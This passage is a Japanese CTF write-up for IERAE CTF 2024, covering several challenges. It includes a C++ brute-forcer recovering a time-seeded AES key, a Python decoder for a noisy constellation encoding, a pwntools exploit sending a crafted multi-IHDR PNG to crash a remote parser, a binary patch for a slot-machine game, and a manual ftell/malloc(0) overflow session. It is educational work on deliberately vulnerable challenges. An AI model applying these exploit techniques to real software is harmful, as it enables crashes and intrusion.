= 0; v20 = 0; if (BCryptOpenAlgorithmProvider(&phAlgorithm, L"AES", 0LL, 0) < 0) { v8 = _acrt_iob_func(2u); fprintf(v8, "Error: BCryptOpenAlgorithmProvider\n"); exit(1); } if (BCryptSetProperty(phAlgorithm, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 0x20u, 0) < 0) { v9 = _acrt_iob_func(2u); fprintf(v9, "Error: BCryptSetProperty\n"); exit(1); } if (BCryptGenerateSymmetricKey(phAlgorithm, &phKey, 0LL, 0, pSome1, dwSome1Size, 0) < 0) { v10 = _acrt_iob_func(2u); fprintf(v10, "Error: BCryptGenerateSymmetricKey\n"); exit(1); } if (BCryptDecrypt(phKey, pSrc, dwSrcSize, 0LL, pSome2, dwSome2Size, 0LL, 0, &pcbResult, 1u) < 0) { v11 = _acrt_iob_func(2u); fprintf(v11, "Error: BCryptDecrypt (get size)\n"); exit(1); } dwBytes = pcbResult; ProcessHeap = GetProcessHeap(); pbOutput = (UCHAR*)HeapAlloc(ProcessHeap, 0, dwBytes); if (!pbOutput) { v13 = _acrt_iob_func(2u); fprintf(v13, "Error: HeapAlloc\n"); exit(1); } bool succeeded = false; if (BCryptDecrypt(phKey, pSrc, dwSrcSize, 0LL, pSome2, dwSome2Size, pbOutput, pcbResult, &v20, 1u) < 0) { // Padidng都合でエラーになってるかも goto last; /*v14 = _acrt_iob_func(2u); fprintf(v14, "Error: BCryptDecrypt\n"); exit(1);*/ } *ppDest = pbOutput; *pdwDestSize = v20; succeeded = true; last: if (phKey) BCryptDestroyKey(phKey); if (phAlgorithm) BCryptCloseAlgorithmProvider(phAlgorithm, 0); return succeeded; } void __fastcall ReadFlagPngLaika(BYTE** ppBuffer, DWORD* pdwSize) { FILE* v2; // rax FILE* v3; // rax HANDLE ProcessHeap; // rax FILE* v5; // rax FILE* v6; // rax DWORD dwFileSize; // [rsp+40h] [rbp-38h] HANDLE hFile; // [rsp+48h] [rbp-30h] BYTE* lpBuffer; // [rsp+50h] [rbp-28h] DWORD NumberOfBytesRead; // [rsp+60h] [rbp-18h] BYREF hFile = CreateFileW(L"flag.png.laika", GENERIC_READ, 1u, 0LL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0LL); if (hFile == (HANDLE)-1LL) { v2 = _acrt_iob_func(2u); fprintf(v2, "Error: CreateFile\n"); exit(1); } dwFileSize = GetFileSize(hFile, 0LL); if (dwFileSize == -1) { v3 = _acrt_iob_func(2u); fprintf(v3, "Error: GetFileSize\n"); CloseHandle(hFile); exit(1); } ProcessHeap = GetProcessHeap(); lpBuffer = (BYTE*)HeapAlloc(ProcessHeap, 0, dwFileSize); if (!lpBuffer) { v5 = _acrt_iob_func(2u); fprintf(v5, "Error: HeapAlloc\n"); CloseHandle(hFile); exit(1); } if (!ReadFile(hFile, lpBuffer, dwFileSize, &NumberOfBytesRead, 0LL)) { v6 = _acrt_iob_func(2u); fprintf(v6, "Error: ReadFile\n"); CloseHandle(hFile); exit(1); } CloseHandle(hFile); *ppBuffer = lpBuffer; *pdwSize = dwFileSize; } bool TestOne(BYTE* pFlagPngLaika, int dwFlagPngLaikaSize, SYSTEMTIME SystemTime) { FILE* v3; // rax FILE* v4; // rax HANDLE ProcessHeap; // rax HANDLE v6; // rax unsigned int i; // [rsp+44h] [rbp-84h] unsigned int j; // [rsp+48h] [rbp-80h] HANDLE hFile; // [rsp+50h] [rbp-78h] BYTE* lpBuffer; // [rsp+58h] [rbp-70h] BYREF DWORD nNumberOfBytesToWrite; // [rsp+68h] [rbp-60h] BYREF DWORD NumberOfBytesWritten; // [rsp+80h] [rbp-48h] BYREF BYTE byteArraySize16[16]; // [rsp+88h] [rbp-40h] BYREF BYTE byteArraySize32[32]; // [rsp+98h] [rbp-30h] BYREF memset(byteArraySize32, 0, sizeof(byteArraySize32)); memset(byteArraySize16, 0, sizeof(byteArraySize16)); srand( SystemTime.wMilliseconds + 131243 * (SystemTime.wSecond + 131243 * (SystemTime.wMinute + 131243 * (SystemTime.wHour + 131243 * (SystemTime.wDay + 131243 * (SystemTime.wDayOfWeek + 131243 * (SystemTime.wMonth + 131243 * (SystemTime.wYear + 131243)))))))); for (i = 0; i < 0x20uLL; ++i) byteArraySize32[i] = rand(); for (j = 0; j < 0x10uLL; ++j) byteArraySize16[j] = rand(); lpBuffer = 0LL; nNumberOfBytesToWrite = 0; SwapElementsUsingRand_Reverse((BYTE*)pFlagPngLaika, dwFlagPngLaikaSize); auto succeeded = DecryptUsingBcrypt( byteArraySize32, 0x20u, byteArraySize16, 0x10u, (BYTE*)pFlagPngLaika, dwFlagPngLaikaSize, (UCHAR**)&lpBuffer, &nNumberOfBytesToWrite); if (!succeeded) { HeapFree(GetProcessHeap(), 0, lpBuffer); return false; } if (lpBuffer[0] != 0x89 || lpBuffer[1] != 'P' || lpBuffer[2] != 'N' || lpBuffer[3] != 'G') { HeapFree(GetProcessHeap(), 0, lpBuffer); return false; } std::string filename = "flag_" + std::to_string(SystemTime.wYear) + std::to_string(SystemTime.wMonth) + std::to_string(SystemTime.wDay) + "_" + std::to_string(SystemTime.wHour) + std::to_string(SystemTime.wMinute) + std::to_string(SystemTime.wSecond) + "_" + std::to_string(SystemTime.wMilliseconds) + ".png"; printf("SUCCEEDED! filename: %s\n", filename.c_str()); hFile = CreateFileA(filename.c_str(), 0x40000000u, 0, 0LL, 2u, 0x80u, 0LL); if (hFile == (HANDLE)-1LL) { v3 = _acrt_iob_func(2u); fprintf(v3, "Error: CreateFile\n"); exit(1); } if (!WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0LL)) { v4 = _acrt_iob_func(2u); fprintf(v4, "Error: WriteFile\n"); CloseHandle(hFile); exit(1); } CloseHandle(hFile); if (lpBuffer) { ProcessHeap = GetProcessHeap(); HeapFree(ProcessHeap, 0, (LPVOID)lpBuffer); } return true; } // https://stackoverflow.com/questions/8308236/performing-arithmetic-on-systemtime SYSTEMTIME add(SYSTEMTIME s, double seconds) { FILETIME f; SystemTimeToFileTime(&s, &f); ULARGE_INTEGER u; memcpy(&u, &f, sizeof(u)); const double c_dSecondsPer100nsInterval = 100. * 1.E-9; u.QuadPart += seconds / c_dSecondsPer100nsInterval; memcpy(&f, &u, sizeof(f)); FileTimeToSystemTime(&f, &s); return s; } int main() { BYTE* pFlagPngLaika = 0LL; DWORD dwFlagPngLaikaSize = 0; ReadFlagPngLaika(&pFlagPngLaika, &dwFlagPngLaikaSize); std::vector<BYTE> encrypted(pFlagPngLaika, pFlagPngLaika + dwFlagPngLaikaSize); HeapFree(GetProcessHeap(), 0, pFlagPngLaika); SYSTEMTIME baseSystemTime = { .wYear = 2024, .wMonth = 9, .wDayOfWeek = 2, // 火曜日 .wDay = 17, .wHour = 12, .wMinute = 49, .wSecond = 20, .wMilliseconds = 0, // 後で全探索します }; // どこかでメモリリークしていて全探索中にメモリ不足で死にます、死んだら目視で初期値を変えて再実行します //for (int diffHour = -9 - 12; diffHour < -9 + 12 + 1; ++diffHour) for (int diffHour = -9; diffHour < 12 + 1; ++diffHour) { printf("diffHour: %d\n", diffHour); auto SystemTime = add(baseSystemTime, diffHour * 60 * 60); // 浮動小数点誤差大丈夫なのかな……→秒レベルの精度は出るらしい std::string current_time = "flag_" + std::to_string(SystemTime.wYear) + std::to_string(SystemTime.wMonth) + std::to_string(SystemTime.wDay) + "_" + std::to_string(SystemTime.wHour) + std::to_string(SystemTime.wMinute) + std::to_string(SystemTime.wSecond) + "_" + std::to_string(SystemTime.wDayOfWeek); printf("current time: %s\n", current_time.c_str()); for (int millisecond = 0; millisecond < 1000; ++millisecond) { SystemTime.wMilliseconds = millisecond; // printf("wMilliseconds = %d\n", i); std::vector<BYTE> copied = encrypted; auto succeeded = TestOne(copied.data(), copied.size(), SystemTime); if (succeeded) { MessageBeep(MB_ICONERROR); return 0; } } } return 1; }
VisualStudioのC++プロジェクトでビルドして実行すると、flag_2024917_124920_307.png
ファイルが出力されました。つまりは作問者様もUTC+9のタイムゾーンで暗号化したようです。また、ミリ秒要素は307
だったようです。復号結果のファイルです:
フラグ内容が画像中テキストだけでなく、QRコード形式でも提供されています!フラグを入手できました: IERAE{3xpec7at1on_1s_a_w0rd_r00ted_1n_g1ving_up.}
なお、本記事を書くときにZIPファイルの解説を調べるとThe structure of a PKZip fileが見つかりました。それによると日時の秒要素はBits 00-04: seconds divided by 2
とのことです。つまり2秒単位でのみ保持できるため、1秒ずれている可能性がありました!コンテスト中はこの事に気づいていなかったため、もし1秒ずれていたら更にハマっていたと思います……。
→2024/09/25追記: 前述したようにExtended Timestamp Extra Field
箇所に秒単位の精度で日時が保持されていました。
それとは別にひたすらバグらせている間、「問題名はクドリャフカ、配布ファイル名はライカなので、ロシアのタイムゾーンかもしれない?」と迷走していたりしました。
[rev, medium] analog (10 teams solves, 324 points)
The flag is encoded in analog form.
本問題の解析結果はGitHubで掲載しています。
配布ファイルとして、問題本体のanalog
と、その出力のflag.encoded
がありました:
$ file * analog: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=94b8ab9046b2f10ab85e304f80cc36b5b3377bef, for GNU/Linux 3.2.0, stripped flag.encoded: data $
処理内容読解
analog
をIDAで開いて、逆コンパイル結果などを頼りにひたすら読解していくと、次の処理を行っていることが分かりました:
1991
付近で、fread
関数を使って標準入力から256バイト読み込み131E
の関数で、読み込み内容の先頭のLSBから順に、1バイトが0
または1
を持つ内容へ変換(→データサイズは8倍になる)13D6
の関数で、24要素の倍数になるまでパディングを入れつつ、3要素分を1要素へ変換(=1要素は0~7
のいずれか)(→データサイズはパディング追加後に1/3)1546
の関数で、各要素の0~7
値を、s-boxを使って変換(→データサイズはそのまま)160A
の関数で、各要素の0~7
値の1バイト値をsrc[i]
として、次の2次元座標へ変換し、その座標をfloat32要素として4要素分書き込み(→データサイズは1バイトが4*2バイトになる)- として
- この座標は、単位円の円周を8等分する点を表します
174D
の関数で、変換結果座標それぞれについて、長さと偏角をランダムに生成して、そのベクトルをノイズとして加算(→データサイズはそのまま)- この加算は、元の同一4要素それぞれ別々に行われます
/dev/urandom
を使ってランダムに生成しています
1A79
付近で、fwrite
関数を使って結果を標準出力へ書き込み
なお、浮動小数点演算を含む関数の場合、逆コンパイル結果はIDAよりもBinaryNinjaのほうが読みやすい傾向にありました。例えば160A
の関数のIDAの逆コンパイル結果は次のような内容です:
void __fastcall ProcOperation4_3BitsTo8Bytes_InCircumferencePoint( const BYTE *pSrc, __int64 dwSrcBytes, int **ppdwDest, size_t *pdwDestBytes) { float fAngle1; // xmm0_4 int *pdw1st; // rbx __m128i maybeCosValue; // xmm0 int *pdw2nd; // rbx __m128i mayBeSinValue; // xmm0 int i; // [rsp+24h] [rbp-1Ch] int j; // [rsp+28h] [rbp-18h] float fAngle2; // [rsp+2Ch] [rbp-14h] *pdwDestBytes = 32 * dwSrcBytes; *ppdwDest = (int *)malloc(*pdwDestBytes); for ( i = 0; i < (unsigned __int64)dwSrcBytes; ++i ) { fAngle1 = (double)pSrc[i] / 8.0 * 6.283185307179586 + 0.3926990816987241; fAngle2 = fAngle1; for ( j = 0; j <= 7; j += 2 ) { pdw1st = &(*ppdwDest)[8 * i + j]; maybeCosValue = _mm_cvtsi32_si128(LODWORD(fAngle2)); *(float *)maybeCosValue.m128i_i32 = cosf(*(float *)maybeCosValue.m128i_i32); *pdw1st = _mm_cvtsi128_si32(maybeCosValue); pdw2nd = &(*ppdwDest)[8 * i + 1 + j]; mayBeSinValue = _mm_cvtsi32_si128(LODWORD(fAngle2)); *(float *)mayBeSinValue.m128i_i32 = sinf(*(float *)mayBeSinValue.m128i_i32); *pdw2nd = _mm_cvtsi128_si32(mayBeSinValue); } } free((void *)pSrc); }
一方でBinaryNinjaの逆コンパイル結果は次のような内容で、個人的に読みやすく思いました(.rodata
セクションにあるfloat64の定数を、誤ってfloat32解釈で表示していることには注意が必要です):
0000160a void ProcOperation4(uint8_t* pSrc, int64_t dwSrcBytes, float** ppfDest, int64_t* pdwDestByts) 0000160a { 00001636 *(uint64_t*)pdwDestByts = (dwSrcBytes << 5); 0000164f *(uint64_t*)ppfDest = malloc(*(uint64_t*)pdwDestByts); 00001652 int32_t i = 0; 00001734 while (((int64_t)i) < dwSrcBytes) 00001734 { 000016a1 int64_t zmm0_1; 000016a1 zmm0_1 = ((float)(3.37028055e+12 + ((((double)((uint32_t)pSrc[((int64_t)i)])) / 8.0) * 3.37028055e+12))); 000016a5 float var_1c_1 = zmm0_1; 00001725 for (int32_t j = 0; j <= 7; j = (j + 2)) 00001725 { 000016b7 *(uint64_t*)ppfDest[((int64_t)(j + (i << 3)))] = cosf(var_1c_1); 000016ea *(uint64_t*)ppfDest[(((int64_t)(j + (i << 3))) + 1)] = sinf(var_1c_1); 00001725 } 00001727 i = (i + 1); 00001734 } 00001741 free(pSrc); 0000160a }
ソルバーと実行結果とフラグ
「単位円の円周を8等分する点」の2点間の距離はです。そのため最後にノイズとして加算するベクトルの長さが最大値近くを取ってしまうと、隣接する点が最も近くなってしまうため、元の点が分からなくなります。一方で同一の座標が4点含まれており、4点全てで長いベクトルが生成される可能性は低いことから、その4点の中で最も近い点を採用して復元すれば良さそうです。
また、その他の変換処理は、問題なく逆変換処理を実装できます。
2次元座標を扱う場合、複素数型を使うと簡単です。Pythonで複素数型を使う方法を色々調べたり、最も近い点を探そうとして逆に最も遠い点を探すバグを埋め込んだりしながら、最終的に次のソルバーを書きました:
#!/usr/bin/env python3 import cmath import math import struct circumference_points: list[complex] = [] for i in range(8): angle = (2 * i + 1) * math.pi / 8 point = cmath.rect(1, angle) circumference_points.append(point) # print(f"{circumference_points = }") def find_nearest_distance_and_position(p: complex) -> tuple[float, int]: diffs = list(map(lambda cp: abs(cp - p), circumference_points)) nearest = sorted(enumerate(diffs), key=lambda t: t[1])[0] position = nearest[0] distance = nearest[1] assert 0 <= position < 8 return distance, position def unpack_and_decide_position(contnet: bytes) -> int: points = struct.unpack("<ffffffff", content) # print(f"{points = }") candidate_list: list[tuple[float, int]] = [] for i in range(len(points) // 2): x = points[2 * i + 0] y = points[2 * i + 1] (distance, position) = find_nearest_distance_and_position(x + 1j * y) candidate_list.append((distance, position)) candidate_list.sort() # print(f"{candidate_list = }") return candidate_list[0][1] position_list = [] filename = "flag.encoded" # filename = "test_a_256.bin" # filename = "test_space_256.bin" # filename = "test_null_256.bin" with open(filename, "rb") as f: while True: content = f.read(32) if len(content) == 0: break assert len(content) == 32 position_list.append(unpack_and_decide_position(content)) sbox = [0, 3, 7, 4, 1, 2, 6, 5] # .text:0000000000001571 inv_sbox = [0, 4, 5, 1, 3, 7, 6, 2] for i in range(8): assert inv_sbox[sbox[i]] == i original_bits = "" for position in position_list: inv = inv_sbox[position] original_bits += str((inv >> 0) & 1) original_bits += str((inv >> 1) & 1) original_bits += str((inv >> 2) & 1) print(f"{original_bits = }") print(f"{len(original_bits) / 8 = }") for i in range(len(original_bits) // 8): v = 0 for j, b in enumerate(original_bits[8 * i : 8 * (i + 1)]): if b == "1": v |= 1 << j print(chr(v), end="")
実行しました:
$ ./solve.py original_bits = '100100101010001001001010100000101010001011011110110000101010101000011010100011001110011000101010101001100010111000100010000011000100011010010110101011001100001001010110111011000110011011100010010100101010101010010110101000101001101011010010101011000100110000110010011011000110111001100010111011101111011011100010100100100101001010000110100011000110001010010110001001100110011001000110101010101011111001010000000000000000000000000000' len(original_bits) / 8 = 54.0 IERAE{CUX1gTetD0bi5Cj7fGJUiEYK52L6vFwoGIJa1FidfbU}
フラグを入手できました: IERAE{CUX1gTetD0bi5Cj7fGJUiEYK52L6vFwoGIJa1FidfbU}
[pwn, homework] PNGParser(flag 1) (5 teams solves, 1 points)
This challenge is a homework problem from IERAE Days 2023 CTF. Check https://github.com/gmo-ierae/ierae-days-ctf-2023 for the files. Note that only flag1 is valid as the answer. nc (接続先IPアドレス省略) 51914
配布ファイルとして、問題本体のchall
と、元ソースのchall.c
がありました:
$ file * Dockerfile: ASCII text Makefile: ASCII text chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b554dd01b15e91cdfd6a58bde4b3084ff9a9927, for GNU/Linux 3.2.0, not stripped chall.c: C source, ASCII text chall.conf: ASCII text flag1.txt: ASCII text flag2.txt: ASCII text run.sh: POSIX shell script, ASCII text executable $
chall.c
内容は382行ありますし、GitHubで公開されているため全掲載は省略します。次のような内容でした:
SIGSEGV
,SIGABRT
,SIGILL
,SIGBUS
のシグナルのいずれかが発生するとフラグが表示されるようにsignal
関数で登録しています- PNG画像を入力として与えられます
PNG画像の読み込み処理をよく読むと、PNGファイル中にIHDR
チャンクが複数登場する場合もエラーとせず処理する内容になっていました。特に、最初のIHDR
チャンク内容から画像サイズを取得してメモリ確保していますが、IDAT
チャンク処理時は最後に見つかったIHDR
チャンク内容の画像サイズを使って処理しています。このため、1つ目のIHDR
チャンクに小さな画像サイズを、2つ目のIHDR
チャンクに大きな画像サイズを格納して処理させると、セグメンテーションフォルトを引き起こせそうです。この発想でソルバーを書きました:
#!/usr/bin/env python3 import cv2 import numpy as np import pwn # pwn.context.log_level = "DEBUG" def create_black_png(width: int, height: int) -> bytes: # ihdr_chunk.color_type = 0 の必要がある、多分グレイスケールカラーのこと image = np.zeros((height, width, 1), np.uint8) succeeded, encoded = cv2.imencode(".png", image) assert succeeded return bytes(encoded) def create_crafted_png() -> bytes: image_small = create_black_png(1, 1) image_large = create_black_png(0x400, 0x400) pos_ihdr = 8 pos_idata = pos_ihdr + 4 + 4 + 13 + 4 # length, type, data, crc image_crafted = image_small[:pos_idata] + image_large[pos_ihdr:] return image_crafted def solve(io: pwn.tube): image_crafted = create_crafted_png() io.sendlineafter(b"> ", b"1") io.sendlineafter(b"size of png: ", str(len(image_crafted)).encode()) io.sendafter(b"send your png:", image_crafted) print(io.recvall().decode()) # with pwn.remote("localhost", 51914) as io: # solve(io) with pwn.remote("198.51.100.1", 51914) as io: solve(io)
実行しました:
$ ./solve.py [+] Opening connection to 198.51.100.1 on port 51914: Done [+] Receiving all data: Done (49B) [*] Closed connection to 198.51.100.1 port 51914 IERAE{t0_MAK3_a_CR4SH_Is_7H3_fIr57_StEp_Of_PWn} $
フラグを入手できました: IERAE{t0_MAK3_a_CR4SH_Is_7H3_fIr57_StEp_Of_PWn}
[rev, homework] Vending Slot Machine (9 teams solves, 1 points)
This challenge is a homework problem from IERAE Days 2023 CTF. Check https://github.com/gmo-ierae/ierae-days-ctf-2023 for the files. 本問題の解析結果は[GitHubで掲載しています](https://github.com/Tan90909090/ctf-writeups/tree/main/IERAE_CTF_2024/vending-slot)。
配布ファイルとして、vending-slot-machine
がありました:
$ file * vending-slot-machine: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba8447ec70d2c5f18caced68ae8e67c3e40e6c45, for GNU/Linux 3.2.0, stripped $
IDAで開いて逆コンパイルして読解すると、次の内容でした:
libncurses.so.6
を使って、ターミナル入出力を制御します15F0
の関数で、rand
関数で乱数を生成して、usleep
関数で待ち時間を作ってアニメーションをさせながら、スロットマシンを回します。- 乱数の値によっては成功扱いで、カウンターが1つ増えます。
- また成功時は、
196A
付近で、復号に使用するグローバル変数の値を変化させます。
- 合計1000回成功すると、
1980
の関数でグローバル変数の値を使ってフラグを復号して表示します。
フラグ復号時にグローバル変数の値を使うため、単に1980
の関数へ制御を移すだけではフラグを得られません。そのためバイナリパッチをあてて、毎回成功扱いにさせる方針を取りました。具体的には次の場所へパッチをあてました:
usleep
関数の呼び出し場所3箇所について、引数を0へ変更- この変更により、待ち時間が無くなります。
1900
の74 46
をEB 46
へ変更、つまりJZ rel8
をJMP rel8
へ変更- この変更により、
rand
関数による乱数に関係なく、毎回ボトルが増えるようになります。
- この変更により、
パッチを当てた状態でプログラムを実行して、しばらくキーを押し続けました。フラグ取得直前の表示です:
Current Money : 600 Current Bottles: 1988 Drink Price : 100 If the number of current bottles reaches 2000, you will get the flag.Push any key to buy a bottle of drink ... ######################### # # # # # # 3 # 3 # 3 # 4 # # # # # # #########################
1000回成功すると、画面中央にフラグが表示されました: IERAE{H4v3_Y0u_3v3r_W0n_4_R34l_Slot_0f_4_V3nd1ng_M4ch1n3?}
ある程度進められたけど解けなかった問題
[pwn, was_warmup, easy] Copy & Paste (24 teams solves, 244 points)
I set this problem as warmup, but my teammates disagreed, so I changed the tag. I strongly recommend you to use the provided docker env, not your host env. nc (接続先IPアドレス省略) 5001
配布ファイルとして、問題本体のchal
と、元ソースのchal.c
がありました:
$ file * Dockerfile: ASCII text chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a4e66e460b4e3000aa7ba9a3d0281389a93e9d5, for GNU/Linux 3.2.0, not stripped chal.c: C source, ASCII text docker-compose.yml: ASCII text flag.txt: ASCII text $
chal.c
は次の内容でした:
// gcc chal.c -o chal #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <sys/param.h> void win(int sig) { char flag[128] = {}; puts("Well done!"); system("cat ./flag*"); exit(0); } void show_menu(void) { puts("1. Create new buffer and load file content"); puts("2. Copy some buffer to another"); puts("3. Exit"); printf("Enter command: "); } char input_buf[PATH_MAX+1]; char* read_str(void) { fgets(input_buf, PATH_MAX+1, stdin); // Remove '\n' char *newline_ptr = strrchr(input_buf, '\n'); if (newline_ptr) *newline_ptr = '\0'; return input_buf; } int read_int(void) { return atoi(read_str()); } struct buffer { size_t buf_size; char *buf_ptr; }; #define MAX_BUF_NUM 2 int available_idx = 0; struct buffer bufs[MAX_BUF_NUM]; void create_new_buf() { if (available_idx >= MAX_BUF_NUM) { printf("You can't create more than %d buffers\n", MAX_BUF_NUM); exit(1); } struct buffer *dst = &bufs[available_idx++]; printf("Enter file name: "); char *fname = read_str(); FILE *fp = fopen(fname, "r"); if (!fp) { puts("Your specified file doesn't exist"); exit(1); } // Get file size to allocate buffer fseek(fp, 0, SEEK_END); int size = ftell(fp); char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0' if (!ptr) { puts("malloc failed"); exit(1); } // Read file content fseek(fp, 0, SEEK_SET); fread(ptr, sizeof(char), size, fp); ptr[size] = '\0'; fclose(fp); dst->buf_ptr = ptr; dst->buf_size = size; printf("Read %d bytes from %s\n", size, fname); } void copy() { if (available_idx < 2) { puts("This command needs at least two buffers"); exit(1); } printf("Enter source index: "); int src_idx = read_int(); if (src_idx < 0 || available_idx <= src_idx) { puts("Source index is invalid"); exit(1); } printf("Enter destination index: "); int dst_idx = read_int(); if (dst_idx < 0 || available_idx <= dst_idx) { puts("Destination index is invalid"); exit(1); } if (src_idx == dst_idx) { puts("Source and destination should be different"); exit(1); } struct buffer *src = &bufs[src_idx]; struct buffer *dst = &bufs[dst_idx]; size_t copy_size = src->buf_size; if (dst->buf_size < copy_size) copy_size = dst->buf_size; memcpy(dst->buf_ptr, src->buf_ptr, copy_size); printf("Copied %llu bytes from buf #%d to buf #%d\n", copy_size, src_idx, dst_idx); } int main() { // If you cause SEGV, then you will get flag signal(SIGSEGV, win); setbuf(stdout, NULL); while (1) { show_menu(); int cmd = read_int(); if (cmd == 3) break; switch (cmd) { case 1: create_new_buf(); break; case 2: copy(); break; } } return 0; }
この問題もwarmup問題同様に、signal(SIGSEGV, win);
でセグメンテーションフォルトが起こった場合にwin
関数を実行するよう設定しています。
ftell
を失敗させて巨大サイズをコピーさせてもSIGSEGV
は起こらず……
どこでセグメンテーションフォルトを引き起こせる余地があるか悩みながら読んでいると、次の箇所が目に止まりました:
int size = ftell(fp); char *ptr = malloc(sizeof(char)*(size+1)); // plus 1 for '\0' if (!ptr) { puts("malloc failed"); exit(1); }
ftell - cppreference.comを見ると、ftell
が失敗すると-1
を返すことが分かります。その場合、malloc
で0バイト分確保しようとします。malloc - cppreference.comを見るとIf size is zero, the behavior of malloc is implementation-defined. For example, a null pointer may be returned. Alternatively, a non-null pointer may be returned
とあります。もしmalloc(0)
が非NULLポインターを返す場合、巨大なサイズをサイズをコピーできそうです。
dockerコンテナを起動して実験すると、/tmp
等のディレクトリを指定すると、fopen
を成功させつつftell
を失敗させられることが分かりました:
$ nc localhost 8190 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /tmp Read -1 bytes from /tmp
なお、dockerコンテナ起動時にマウントしているらしい表示のある /
, /proc
, /srv
ディレクトリの場合はftell
は成功して0を返しました。
sourceとdestinationの両方に/tmp
ディレクトリを指定してコピーしてやれば、巨大サイズをコピーしようとしてセグメンテーションが起こると思っていました:
$ nc localhost 8190 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /tmp Read -1 bytes from /tmp 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /tmp Read -1 bytes from /tmp 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 2 Enter source index: 0 Enter destination index: 1 Copied 18446744073709551615 bytes from buf #0 to buf #1 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 3
しかし18446744073709551615
という巨大サイズだけメモリコピーをしているはずなのですが、なぜか成功してしまっています。試しに一方を適当なファイルにして試しましたが、やはり成功してしまっています:
$ nc localhost 8190 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /tmp Read -1 bytes from /tmp 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /etc/passwd Read 888 bytes from /etc/passwd 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 2 Enter source index: 0 Enter destination index: 1 Copied 888 bytes from buf #0 to buf #1 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 2 Enter source index: 1 Enter destination index: 0 Copied 888 bytes from buf #1 to buf #0 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 3
何がなんだか分からないまま、コンテストの終了時刻を迎えました……。
どうやらもう一方にある程度のサイズが必要だった模様
コンテスト終了後、Discordでの問題談義チャンネルを見ていると、ディレクトリの相手となるファイルにはある程度のサイズが必要との情報がありました。問題サーバーをまだ稼働くださっている状況で試しました:
$ nc 198.51.100.1 8190 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /tmp Read -1 bytes from /tmp 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 1 Enter file name: /bin/sh Read 133880 bytes from /bin/sh 1. Create new buffer and load file content 2. Copy some buffer to another 3. Exit Enter command: 2 Enter source index: 0 Enter destination index: 1 Well done! IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b} ^C $
フラグが手に入りました: IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}
/bin/ls
の138184
バイトをコピーすると、セグメンテーションフォルトが発生するようです。この違いはなぜ発生するのでしょう……?
追記: IERAE CTF 2024 Writeup - kyuridenamidaのブログ で、ディレクトリ2つのコピーである-1
バイトコピーではセグメンテーションフォルトが起こらない理由が解説されています。賢いパスを通った結果、影響がなかったのですね。
感想
- 難易度easyでも難しい問題が多かったです!
- revジャンルについてはmediumまで解けたので満足しています!
- とはいえ、revジャンルのhardではとても面白い技法を使っている問題があったので、ぜひそちらも解けるようになりたいです。